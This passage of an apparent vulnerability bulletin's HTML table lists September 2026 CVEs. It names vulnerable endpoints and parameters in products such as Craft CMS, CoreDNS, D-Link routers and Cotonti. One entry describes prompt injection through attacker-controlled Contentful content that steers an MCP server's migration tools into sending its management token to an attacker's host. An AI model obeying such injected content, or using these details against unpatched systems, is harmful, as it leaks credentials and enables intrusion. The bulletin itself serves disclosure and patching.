&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82789&quot; target=&quot;_blank&quot;&gt;CVE-2026-82789&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;contentful--contentful-mcp-server&lt;/td&gt;
&lt;td&gt;Contentful MCP Server is a Model Context Protocol server for the Contentful Management API. Prior to @contentful/mcp-server 1.7.19 and @contentful/mcp-tools 0.4.5, export_space and import_space in packages/mcp-tools/src/tools/jobs/space-to-space-migration/exportSpace.ts and packages/mcp-tools/src/tools/jobs/space-to-space-migration/importSpace.ts expose host, proxy, rawProxy, and insecure network options to LLM-controlled tool arguments and combine those options with the server&#039;s CONTENTFUL_MANAGEMENT_TOKEN. After space_to_space_migration_handler enables the migration tools, a direct MCP call or prompt injection through attacker-controlled Contentful content can redirect Contentful Management API requests and their Authorization header to an attacker-controlled host or proxy. The regular tools that use createToolClient are unaffected because those tools pin the host from server configuration. Exposure of the personal access token permits persistent out-of-band access to every Contentful space within the token&#039;s scope. This issue is fixed in @contentful/mcp-server 1.7.19 and @contentful/mcp-tools 0.4.5.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53957&quot; target=&quot;_blank&quot;&gt;CVE-2026-53957&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;contest-gallery--Contest Gallery Upload &amp;amp; Vote Photos, Media, Sell with PayPal &amp;amp; Stripe&lt;/td&gt;
&lt;td&gt;The Contest Gallery - Upload &amp;amp; Vote Photos, Media, Sell with PayPal &amp;amp; Stripe plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Overwrite in all versions up to, and including, 32.0.1 due to insufficient file path validation in the &#039;baseUrlForFacebook&#039; parameter. This makes it possible for authenticated attackers, with subscriber-level access and above, to overwrite known files which may lead to remote code execution when certain preconditions are met.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78088&quot; target=&quot;_blank&quot;&gt;CVE-2026-78088&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Control iD--iDSecure&lt;/td&gt;
&lt;td&gt;Control iD iDSecure versions prior to&amp;nbsp;4.8.3.0 are affected by an unauthenticated&amp;nbsp;Denial of Service. The /api/license/restartService endpoint is reachable without authentication and invokes an internal routine that terminates the iDSecure service process and relaunches it by way of a generated batch script. An unauthenticated remote attacker can call this endpoint repeatedly to hold the service in a continuous restart cycle, rendering it unavailable.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92625&quot; target=&quot;_blank&quot;&gt;CVE-2026-92625&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Control iD--iDSecure&lt;/td&gt;
&lt;td&gt;Control iD iDSecure versions prior to&amp;nbsp;4.8.3.0 are affected by an unauthenticated&amp;nbsp;Denial of Service. The /api/dguardintegration/dguardVersion endpoint dereferences DGuard integration login state that may be unset, raising an unhandled null reference exception. The exception is thrown from an asynchronous method that returns void, so it is not observed by a caller and can terminate the iDSecure process.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92626&quot; target=&quot;_blank&quot;&gt;CVE-2026-92626&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;coredns--coredns&lt;/td&gt;
&lt;td&gt;CoreDNS is a DNS server written in Go. Prior to 1.14.7, the DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, and DNS-over-gRPC request paths in plugin/pkg/doh/doh.go, core/dnsserver/server_quic.go, and core/dnsserver/server_grpc.go call dns.Msg.Unpack on attacker-controlled DNS section counts before dns.DefaultMsgAcceptFunc validates the fixed header. An unauthenticated client can use DNS name compression and excessive section counts to amplify allocation before the plugin chain, so plugin-level rate limiting cannot prevent concurrent requests from exhausting memory and terminating CoreDNS. The ordinary UDP and TCP listeners are not affected because they validate the header first. This issue is fixed in version 1.14.7.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82399&quot; target=&quot;_blank&quot;&gt;CVE-2026-82399&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;coredns--coredns&lt;/td&gt;
&lt;td&gt;CoreDNS is a DNS server written in Go. Prior to 1.14.7, the DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, and DNS-over-gRPC listeners in plugin/pkg/doh/doh.go, core/dnsserver/server_quic.go, and core/dnsserver/server_grpc.go call dns.Msg.Unpack without the dns.DefaultMsgAcceptFunc request policy used by UDP, TCP, and DNS-over-TLS. An unauthenticated client can send an RFC 2136 UPDATE that the proxy or forward plugin passes unchanged to an update-capable upstream. If that upstream trusts CoreDNS&#039;s source address or connection and does not require an attacker-unknown end-to-end TSIG, the request appears to originate from CoreDNS and can add, replace, or delete DNS records, redirect traffic, take over names, alter mail routing, or disrupt the writable zone. This issue is fixed in version 1.14.7.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86003&quot; target=&quot;_blank&quot;&gt;CVE-2026-86003&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cotonti--Cotonti&lt;/td&gt;
&lt;td&gt;Cotonti 1.0.0 Comments plugin passes the ci GET parameter to unserialize() without allowed_classes restriction, allowing unauthenticated attackers to instantiate arbitrary PHP classes with attacker-controlled properties. Attackers can exploit PHP object injection through crafted serialized payloads to trigger gadget chains and achieve database manipulation or code execution.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91939&quot; target=&quot;_blank&quot;&gt;CVE-2026-91939&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cotonti--Cotonti&lt;/td&gt;
&lt;td&gt;Cotonti through 1.0.0 derives password recovery validation tokens from md5(microtime()) in users.passrecover.php, creating a predictable token space of approximately one million values per second. Unauthenticated attackers can read the server Date header, precompute candidate tokens within a narrow time window, and probe them against the passrecover authentication endpoint to reset any account password including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93868&quot; target=&quot;_blank&quot;&gt;CVE-2026-93868&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cotonti--Cotonti&lt;/td&gt;
&lt;td&gt;Cotonti 1.0.0 passes the base64-decoded cb parameter to unserialize() without allowed_classes restriction in the comments plugin EditAction. Registered users with comment write permissions can instantiate arbitrary PHP objects and potentially achieve file write or code execution through gadget chains.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93872&quot; target=&quot;_blank&quot;&gt;CVE-2026-93872&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;coze-dev--coze-studio&lt;/td&gt;
&lt;td&gt;Coze Studio through 0.5.1 fails to validate that table names in workflow SQL customization nodes belong to the caller&#039;s workspace. Authenticated attackers can enumerate predictable table identifiers and execute SQL statements against other workspaces&#039; memory databases to read, insert, or delete data.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92788&quot; target=&quot;_blank&quot;&gt;CVE-2026-92788&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;craftcms--cms&lt;/td&gt;
&lt;td&gt;Craft CMS 4.8.0 through 4.18.5 and 5.0.0 through 5.10.12 sign an authenticated user&#039;s attacker-controlled license-shun cookie with the same key and format used to validate signed redirect parameters, because the HMAC signature is not bound to its purpose (Yii&#039;s cookieValidationKey is derived from the same Craft securityKey used for signed request parameters). An authenticated, non-administrator user (Control Panel access is not required) can set the cookie via the license-shun endpoint and transplant the signed envelope into the redirect parameter; on a successful login, Craft validates the signature and renders the authenticated bytes as an unsandboxed Twig template, where Twig&#039;s map filter accepts a string callback and allows PHP system() to execute arbitrary operating-system commands as the web-server user. Exploitation requires an account using password authentication without active 2FA, the default request configuration, and availability of PHP system(). The issue is fixed in 4.18.6 and 5.10.13.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92592&quot; target=&quot;_blank&quot;&gt;CVE-2026-92592&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;craftcms--cms&lt;/td&gt;
&lt;td&gt;Craft CMS versions 5.10.0 through 5.10.12 contain an incomplete fix for CVE-2026-55794: the Controller::getPostedRedirectUrl() -&amp;gt; View::renderObjectTemplate() sink remained unsandboxed, and the same fix commit added a self-signing oracle in Cp::elementLabelHtml(). Because Craft/Yii HMAC tokens are not bound to a parameter name, an authenticated low-privilege control panel user with edit rights on a single element type can mint a token over attacker-controlled Twig for the returnUrl parameter and replay it as the redirect POST parameter, reaching the unsandboxed sink and achieving server-side template injection that executes arbitrary PHP code (full server compromise). The issue is fixed in 5.10.13.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92593&quot; target=&quot;_blank&quot;&gt;CVE-2026-92593&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;craftcms--cms&lt;/td&gt;
&lt;td&gt;Craft CMS 5.0.0-RC1 through versions before 5.11.0 incorrectly authorize the GraphQL draftCreator and revisionCreator fields: instead of requiring the user-data scope enforced by Gql::canQueryUsers() (usergroups.*:read), these fields are gated only on the elements.drafts:read / elements.revisions:read scopes, and their resolver returns a raw User element whose email, username, fullName, and addresses fields have no per-field authorization. A client holding only the drafts or revisions scope - including an unauthenticated client when the operator has enabled the public GraphQL schema with those scopes - can therefore harvest the email addresses, usernames, full names, and postal addresses of all draft/revision creators (typically site editors and administrators). The issue is fixed in 5.11.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92594&quot; target=&quot;_blank&quot;&gt;CVE-2026-92594&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;crawlab-team--crawlab&lt;/td&gt;
&lt;td&gt;Crawlab through 0.6.3 uses a hard-coded HMAC-SHA256 secret for JWT token signing that cannot be overridden via configuration or environment variables. Unauthenticated attackers can forge valid administrator tokens to access administrative APIs and execute code on worker nodes.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90945&quot; target=&quot;_blank&quot;&gt;CVE-2026-90945&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CrowdStrike--Falcon sensor for Windows&lt;/td&gt;
&lt;td&gt;CrowdStrike released a security update to address a vulnerability in the Falcon sensor for Windows. The vulnerability only exists when the Microsoft Office File Malicious Macro Removal Windows policy setting is enabled and customers remain protected through the Cloud Anti-malware for Microsoft Office Files settings. An update is available immediately for versions 7.34 and above, 7.32 LTS, and 7.16 for Windows 7/2008 R2 systems. The Falcon sensor for Mac, Linux, and Legacy Systems are not affected.&amp;nbsp; This vulnerability could expose an arbitrary file write to protected locations from an unprivileged context, potentially leading to local privilege escalation. The CrowdStrike Laroux Malware Cleanup Tool, based off of the same feature in the CrowdStrike Falcon sensor for Windows, is also affected. An update for this tool is also available immediately.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-40058&quot; target=&quot;_blank&quot;&gt;CVE-2026-40058&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cthackers--adm-zip&lt;/td&gt;
&lt;td&gt;adm-zip is a JavaScript library for creating and extracting ZIP archives in Node.js. Prior to 0.6.1, getData() in zipEntry.js trusts an entry&#039;s central-directory uncompressed size and allocates output memory before validating that value against the actual compressed data and decompression result. A small crafted ZIP can declare a multi-gigabyte uncompressed size, causing Buffer.alloc and decompression handling to commit excessive resident memory before CRC validation reports an error. Applications that read entries from untrusted archives can therefore be terminated by the operating system or suffer service-wide memory exhaustion. This issue is fixed in version 0.6.1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77301&quot; target=&quot;_blank&quot;&gt;CVE-2026-77301&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cthackers--adm-zip&lt;/td&gt;
&lt;td&gt;adm-zip versions 0.5.14 through 0.6.0 fail to apply zlib decompression output limits when ZIP entries declare zero uncompressed size. Attackers can craft malicious ZIP archives with highly compressible entries declaring zero size to exhaust memory and cause denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92000&quot; target=&quot;_blank&quot;&gt;CVE-2026-92000&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cubecart--v6&lt;/td&gt;
&lt;td&gt;CubeCart is an ecommerce software solution. Prior to 6.7.5, admin/sources/maintenance.index.inc.php places administrator-controlled tablename values into ALTER TABLE, CHECK TABLE, and ANALYZE TABLE statements without validating the identifiers or escaping embedded backticks. An authenticated administrator can terminate the quoted identifier with a closing backtick and introduce attacker-controlled structural SQL, potentially compromising database confidentiality, integrity, and availability within the application&#039;s database privileges. This issue is fixed in version 6.7.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54646&quot; target=&quot;_blank&quot;&gt;CVE-2026-54646&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cubecart--v6&lt;/td&gt;
&lt;td&gt;CubeCart is an ecommerce software solution. Prior to 6.7.5, admin/sources/settings.index.inc.php directly concatenates the administrator-controlled download_expire POST parameter into a raw UPDATE statement for CubeCart_downloads without numeric validation. An authenticated administrator can supply a comma-delimited value that changes the SET clause because HTML sanitization does not neutralize SQL syntax, allowing manipulation of database columns and potentially other data within the application&#039;s database privileges. This issue is fixed in version 6.7.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54647&quot; target=&quot;_blank&quot;&gt;CVE-2026-54647&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cyberjunky--python-garminconnect&lt;/td&gt;
&lt;td&gt;garminconnect is a Python 3 API wrapper for Garmin Connect that retrieves statistics and manages activities. Prior to 0.3.5, garminconnect/client.py Client.dump creates the OAuth token directory and garmin_tokens.json without explicit owner-only modes, so a permissive umask such as 022 can leave the directory mode at 0755 and the token file mode at 0644. garmin_tokens.json contains di_refresh_token, and another unprivileged user on a shared Linux or macOS host can read the token and obtain persistent access to the victim&#039;s Garmin Connect account, including health, fitness, activity, and device data. The Garmin.login tokenstore path is affected, and a pre-existing loosely permissioned token file remains exposed until rewritten or manually restricted. This issue is fixed in version 0.3.5.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54447&quot; target=&quot;_blank&quot;&gt;CVE-2026-54447&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DI-8300&lt;/td&gt;
&lt;td&gt;A flaw has been found in D-Link DI-8300 16.07. The affected element is the function rzgl_asp of the file /rzgl.asp of the component CGI Service. This manipulation of the argument redirct_url causes stack-based buffer overflow. Remote exploitation of the attack is possible. The exploit has been published and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91003&quot; target=&quot;_blank&quot;&gt;CVE-2026-91003&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DI-8400&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in D-Link DI-8400 16.07. This affects the function ddns_asp of the file /ddns.asp of the component DDNS Configuration. Performing a manipulation of the argument serv/user/host/wild/mx/bmx/cust/ip results in stack-based buffer overflow. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91001&quot; target=&quot;_blank&quot;&gt;CVE-2026-91001&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DIR-823G&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in D-Link DIR-823G 1.0.2B05_20181207. The impacted element is the function strcpy of the file /HNAP1/SetStaticRouteSettings of the component HNAP1. The manipulation of the argument PAddress/SubnetMask/Gateway results in stack-based buffer overflow. The attack can be launched remotely.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90680&quot; target=&quot;_blank&quot;&gt;CVE-2026-90680&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DIR-868L&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in D-Link DIR-868L 2.01b05. This issue affects the function strcpy of the file /webfa_authentication.cgi of the component Authentication Handler. Executing a manipulation of the argument id/password can lead to stack-based buffer overflow. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94089&quot; target=&quot;_blank&quot;&gt;CVE-2026-94089&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DIR-878&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in D-Link DIR-878 120B05. This affects the function SetDynamicDNSIPv6Settings of the component Dynamic DNS IPv6 Settings. The manipulation of the argument IPv6Address/Hostname results in stack-based buffer overflow. The attack may be launched remotely.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90692&quot; target=&quot;_blank&quot;&gt;CVE-2026-90692&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DIR-878&lt;/td&gt;
&lt;td&gt;A flaw has been found in D-Link DIR-878 120B05. This impacts the function SetWan3Settings of the component WAN Settings. This manipulation of the argument Primary/Secondary causes stack-based buffer overflow. Remote exploitation of the attack is possible.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90693&quot; target=&quot;_blank&quot;&gt;CVE-2026-90693&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DIR-X1860&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in D-Link DIR-X1860 and DIR-X1860Z up to 1.0.2.220120.165402. The impacted element is an unknown function of the file /ubus of the component routerd. The manipulation of the argument passwd_set results in improper access controls. The attack must originate from the local network. The exploit has been released to the public and may be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94036&quot; target=&quot;_blank&quot;&gt;CVE-2026-94036&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DSL-3782&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in D-Link DSL-3782 2016-07-28. This issue affects the function system of the file /cgi-bin/New_GUI/Set/Diagnostics.asp of the component Diagnostics. Performing a manipulation of the argument Addr results in command injection. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90880&quot; target=&quot;_blank&quot;&gt;CVE-2026-90880&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DWR-M920&lt;/td&gt;
&lt;td&gt;A weakness has been identified in D-Link DWR-M920 1.1.7. This issue affects the function sub_41E60C of the file /boafrm/formPinManageSetup. This manipulation of the argument newPin causes os command injection. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90699&quot; target=&quot;_blank&quot;&gt;CVE-2026-90699&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DWR-M921&lt;/td&gt;
&lt;td&gt;A flaw has been found in D-Link DWR-M921 1.1.52. Impacted is the function system of the file /boafrm/formDiskFormat. This manipulation of the argument partition causes os command injection. The attack may be initiated remotely. The exploit has been published and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90702&quot; target=&quot;_blank&quot;&gt;CVE-2026-90702&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DWR-M921&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in D-Link DWR-M921 1.1.52. The affected element is the function system of the file /boafrm/formDiskCreateShare. Such manipulation of the argument folderpath leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90703&quot; target=&quot;_blank&quot;&gt;CVE-2026-90703&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--R95&lt;/td&gt;
&lt;td&gt;A vulnerability was found in D-Link R95 BE9500_1.00.16. This vulnerability affects the function system of the file /bin/ssi of the component DHMAPI. The manipulation of the argument NTPServer results in os command injection. The attack can be executed remotely. The exploit has been made public and could be used.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93958&quot; target=&quot;_blank&quot;&gt;CVE-2026-93958&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D3TN GmbH--D3TN&lt;/td&gt;
&lt;td&gt;Integer overflow in ÂµD3TN v0.15.0 TCPCLv3 handshake causes heap overflow, allowing remote attackers to reliably cause DoS&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93652&quot; target=&quot;_blank&quot;&gt;CVE-2026-93652&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;danielbrendel--hortusfox-web&lt;/td&gt;
&lt;td&gt;HortusFox-Web prior to version 6.1 contains a remote code execution vulnerability that allows authenticated administrators to execute arbitrary OS commands as the web server user by abusing the Import/Export functionality. Attackers can leverage the Import/Export feature, which is intended solely for data portability, to deploy and execute malicious code on the underlying application server host.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92980&quot; target=&quot;_blank&quot;&gt;CVE-2026-92980&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;danieliser--Popup Maker Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popup Builder&lt;/td&gt;
&lt;td&gt;The Popup Maker - Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popup Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via values[Name] Parameter in all versions up to, and including, 1.24.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The wp_kses sanitization applied on output is insufficient in this context because HTML entities within allowed attribute values survive normalization intact and are later evaluated by the jQuery(link.attr(&#039;href&#039;)) sink in wp-admin/js/common.js when a contextual help tab anchor is clicked.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87915&quot; target=&quot;_blank&quot;&gt;CVE-2026-87915&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DataDog--dd-trace-cpp&lt;/td&gt;
&lt;td&gt;dd-trace-cpp is the Datadog distributed tracing library for C++. Prior to 2.1.0, dd-trace-cpp parses incoming W3C baggage headers without enforcing DD_TRACE_BAGGAGE_MAX_ITEMS or DD_TRACE_BAGGAGE_MAX_BYTES on the extraction path, even though those limits are enforced during injection. A remote unauthenticated attacker can send a header containing many comma-separated key-value pairs or one very large value, causing per-request hash-map allocation and unbounded CPU and memory consumption. Baggage extraction is enabled by default in most affected tracers unless baggage is removed from DD_TRACE_PROPAGATION_STYLE or DD_TRACE_PROPAGATION_STYLE_EXTRACT, so affected internet-facing services can be denied service. This issue is fixed in version 2.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
